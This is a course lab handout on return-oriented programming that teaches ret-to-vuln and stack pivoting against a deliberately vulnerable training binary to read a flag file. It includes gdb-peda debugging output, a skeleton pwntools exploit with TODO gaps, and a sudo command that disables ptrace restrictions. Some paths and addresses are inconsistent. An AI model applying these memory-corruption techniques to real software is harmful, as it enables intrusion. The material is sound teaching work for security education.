# Lab 09 - Return Oriented Programming (Part 2)

## Supporting files

You will use this lab archive throughout the lab.

$wget http://elf.cs.pub.ro/oss/res/labs/lab-09.tar.gz$ tar xzf lab-09.tar.gz

After unpacking, you will get the lab-09/ folder:

$cd lab-09/$ ls -F
flag  Makefile  task1*  task1.c

## Introduction

In this lab, we will resume from where we left off our last session.

In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent this. Today, we will look at two of these techniques.

### Ret-to-vuln

Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to main again, or to the function in which the bug is present.

### Stack pivoting

A more elegant solution is to “pivot” the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow.

Pivoting the stack basically means getting RSP to point elsewhere in memory, preferably a read-writable location which we control.

Supposing we find such a region in memory, we can simply return to a call read and simulate a call to read(0, pivot, size);. The pivot address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size.

But how do we get RSP to point to a different region in memory? If you think about the leave instruction, which roughly does the following, you will begin to see an answer:

mov rsp, rbp
pop rbp

Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ESP to point to.

Inspect the source file task1.c. See if you can spot the vulnerability.

The goal of the task is to get the contents of the flag file through the binary. In order to do this, we need to chain three functions together.

#### Tutorial: Finding the return address offset

# gdb ./task1
gdb-peda$pattc 0x40 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$r Starting program: /cns/lab-11/sol/task1 Welcome to our Retired Old Programmers message board! Please leave a message: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x40 ('@')
RBX: 0x0
RDX: 0x40 ('@')
RSI: 0x7fffffffe490 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\310\345\377\377\377\177") RDI: 0x0 RBP: 0x4147414131414162 ('bAA1AAGA') RSP: 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177") RIP: 0x4012b4 (<play+55>: ret) R8 : 0x19 R9 : 0x7ffff7f315e0 (<__memcpy_ssse3+6720>: mov r10,QWORD PTR [rsi-0x18]) R10: 0x400443 --> 0x6474730064616572 ('read') R11: 0x246 R12: 0x401090 (<_start>: xor ebp,ebp) R13: 0x7fffffffe5c0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4012a9 <play+44>: mov edi,0x0 0x4012ae <play+49>: call 0x401050 <read@plt> 0x4012b3 <play+54>: leave => 0x4012b4 <play+55>: ret 0x4012b5 <main>: push rbp 0x4012b6 <main+1>: mov rbp,rsp 0x4012b9 <main+4>: sub rsp,0x10 0x4012bd <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177") 0008| 0x7fffffffe4d0 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1") 0016| 0x7fffffffe4d8 --> 0x100000000 0024| 0x7fffffffe4e0 --> 0x4012e0 (<__libc_csu_init>: push r15) 0032| 0x7fffffffe4e8 --> 0x7ffff7e1cbbb (<__libc_start_main+235>: mov edi,eax) 0040| 0x7fffffffe4f0 --> 0x7ffff7fac4d8 --> 0x7ffff7e1c4a0 (<init_cacheinfo>: push r15) 0048| 0x7fffffffe4f8 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1") 0056| 0x7fffffffe500 --> 0x1f7f795a8 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004012b4 in play () gdb-peda$
gdb-peda$patto bAA1AAGA bAA1AAGA found at offset: 48 Our [*] Stopped program './task1' </code> #### Reading and printing the flag Build two more similar payloads to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to main in order to be able to chain the two together. ### 2. Stack pivoting For this task, we will be using the same binary. This time, we will pivot the stack before supplying our ROP chain. #### Tutorial: Finding a place to pivot We can use gdb-peda to see the memory mappings of a binary at runtime. gdb-peda$ start
gdb-peda$vmmap Start End Perm Name 0x00400000 0x00403000 r-xp task1 0x00403000 0x00404000 r-xp task1 0x00404000 0x00405000 rw-p task1 0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 rwxp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 rwxp mapped 0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fd3000 0x00007ffff7fd5000 rwxp mapped 0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 rwxp mapped 0x00007ffffffde000 0x00007ffffffff000 rwxp [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] The region beginning at 0x00404000 looks suitable, but just to be safe, let's not choose the starting address. gdb-peda$ x/100g 0x00404000
0x404000:	0x0000000000403e20	0x00007ffff7ffe170
0x404010:	0x00007ffff7dec680	0x0000000000401036
0x404020:	0x0000000000401046	0x0000000000401056
0x404030:	0x0000000000401066	0x0000000000401076
0x404040:	0x0000000000401086	0x0000000000000000
0x404050:	0x0000000000000000	0x0000000000000000
0x404060 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd0760	0x0000000000000000

gdb-peda\$ x/100g 0x00404400
0x404400:	0x0000000000000000	0x0000000000000000
0x404410:	0x0000000000000000	0x0000000000000000
0x404420:	0x0000000000000000	0x0000000000000000
0x404430:	0x0000000000000000	0x0000000000000000
0x404440:	0x0000000000000000	0x0000000000000000
0x404450:	0x0000000000000000	0x0000000000000000
0x404460:	0x0000000000000000	0x0000000000000000


Apart from the reason that values are not zero at the starting address, there's also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission.

We need to find a sequence of instructions akin to:

call read
leave
ret

If we look around in the disassembled functions, we notice that play has just what we need at the end:

   0x00000000004012ae <+49>:	call   0x401050 <read@plt>
0x00000000004012b3 <+54>:	leave
0x00000000004012b4 <+55>:	ret 

We will use this sequence to pivot the stack.

Our payload must do a call to read(0, pivot, size);, so the registers should look as follows when reaching ret:

[RSP-8]  <pivot-8>       # Overwrite RBP
[RDI]  0x0             # stdin
[RSI]  <pivot>         # "buffer"
[RDX] 0x200           # size

With all the pieces in place, we should have a working pivoting payload:

#!/usr/bin/env python
from pwn import *

# Useful values
ret_offset = 56
pivot = 0x404000

payload1 += TODO  #pop rdi; ret
payload1 += TODO  #pop rsi; ret
payload1 += TODO  #pop rdx; ret

log.info(io.recvline())
log.info(io.recvline())
gdb.attach(io)

io.interactive()

In order to see pivoting in action, do the following:

# ./test.py
[+] Starting local process './task1': Done
[*] Welcome to our Retired Old Programmers message board!
[*] running in new terminal: gdb -q  "/task1" 4770
[+] Waiting for debugger: Done
Send payload? 

This will spawn a new gdb-peda window. Set a breakpoint at the return address of play (0x0804862c) then continue. In the other window (the one waiting for you to answer Send payload?), hit Enter. You will notice gdb hits the breakpoint and now you can single step (via ni).

There is an issue in the stations in the lab when running GDB/PEDA from pwntools. The issue is signaled at this link. You will have to issue the command below to solve the issue

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

Once you reach call read, gdb will block. In the pwntools interactive window, give an input such as AAAAAAAA to complete the read call and unblock gdb. Continue stepping until you reach the leave instruction. Notice how the value of rbp+8 gets written over rsp. The following ret instruction will take you to your pivot address, at which you will find your AAAAAAAA.